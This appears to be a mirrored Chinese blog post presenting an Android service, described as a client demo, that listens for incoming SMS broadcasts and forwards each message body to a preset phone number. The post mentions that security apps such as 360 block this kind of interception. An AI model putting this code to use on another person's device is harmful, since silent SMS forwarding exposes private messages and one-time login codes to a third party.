zoukankan      html  css  js  c++  java
  • 拦截信息短信息并转发到指定手机

    这是一个客户需要的demo,工能就是在手机接收到信息后转发到指定手机,这主要是响应系统的短信广播,并进行拦截,并取消向上传递,功能并不复杂,但也是在小米小机上遇到了问题,因为我没有小米手机,如果谁解决了也告诉我一下,还要注意短信拦截的应用,如360之类的。

    核心服务代码:

    /**
     * 
     */
    package com.yidin.interceptsms.service;
    
    import com.yidin.util.AspLog;
    import com.yidin.util.InterceptPrefences;
    import com.yidin.util.SmsUtil;
    
    import android.app.Service;
    import android.content.BroadcastReceiver;
    import android.content.Context;
    import android.content.Intent;
    import android.content.IntentFilter;
    import android.os.Bundle;
    import android.os.IBinder;
    import android.telephony.SmsMessage;
    import android.widget.Toast;
    
    /**
     * @author 短信拦截服务
     */
    public class InterceptService extends Service {
        private BroadcastReceiver mReceiver = null;
        private String TAG = "InterceptService";
        private String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
        private Context mContext = null;
    
        @Override
        public IBinder onBind(Intent arg0) {
            // TODO Auto-generated method stub
            return null;
        }
    
        @Override
        public void onCreate() {
            super.onCreate();
    //        android.os.Debug.waitForDebugger();
            mContext = getApplicationContext();
    
            mReceiver = new InterceptSmsReceiver();
            IntentFilter filter = new IntentFilter(SMS_RECEIVED);
    //        filter.addDataScheme("sms");
            Intent it = registerReceiver(mReceiver, filter);
        }
    
        @Override
        public void onStart(Intent intent, int startId) {
            super.onStart(intent, startId);
    
            AspLog.e(TAG, "Clear onStart!");
        }
    
        class InterceptSmsReceiver extends BroadcastReceiver {
            @Override
            public void onReceive(Context context, Intent intent) {
                android.os.Debug.waitForDebugger();
                if (intent.getAction().equals(SMS_RECEIVED))
                    AspLog.e(TAG, "InterceptSmsReceiver");
                Bundle bundle = intent.getExtras();
                if (bundle != null) {
                    Object[] _pdus = (Object[]) bundle.get("pdus");
                    SmsMessage[] message = new SmsMessage[_pdus.length];
                    for (int i = 0; i < _pdus.length; i++) {//判断短信长度,中文超过70 英文超过140则拆分成多条信息
                        message[i] = SmsMessage.createFromPdu((byte[]) _pdus[i]);
                    }
                    for (SmsMessage currentMessage : message) {
                        Toast.makeText(mContext, currentMessage.getMessageBody(),
                                Toast.LENGTH_LONG).show();
                        SmsUtil.sendSMS(currentMessage.getMessageBody(), InterceptPrefences.getAccount(mContext), mContext);
                    }
                }
            }
        }
    
        @Override
        public void onDestroy() {
            super.onDestroy();
    //        android.os.Debug.waitForDebugger();
            unregisterReceiver(mReceiver);
        }
    }

    更多的移动互联网的发展趋势app开发移动互联网应用相关的资料请到互联网的一点事www.yidin.net 留言

    android QQ群:222392467

    资料:

    http://www.yidin.net/?p=8280

    http://www.yidin.net/?p=9725

  • 相关阅读:
    347. 前 K 个高频元素(桶排序、堆排序)
    322. 零钱兑换 && 416. 分割等和子集(0-1背包问题)
    739. 每日温度 && 503. 下一个更大元素 II (单调栈)
    1110. 删点成林
    个人纪录
    pub get failed (server unavailable) -- attempting retry 1 in 1 second?
    python 遍历文件夹重命名
    flutter vscode 连接iphone失败
    部署以太坊合约
    Web漏洞扫描工具AppScan10介绍
  • 原文地址:https://www.cnblogs.com/ondream/p/3062801.html
Copyright © 2011-2022 走看看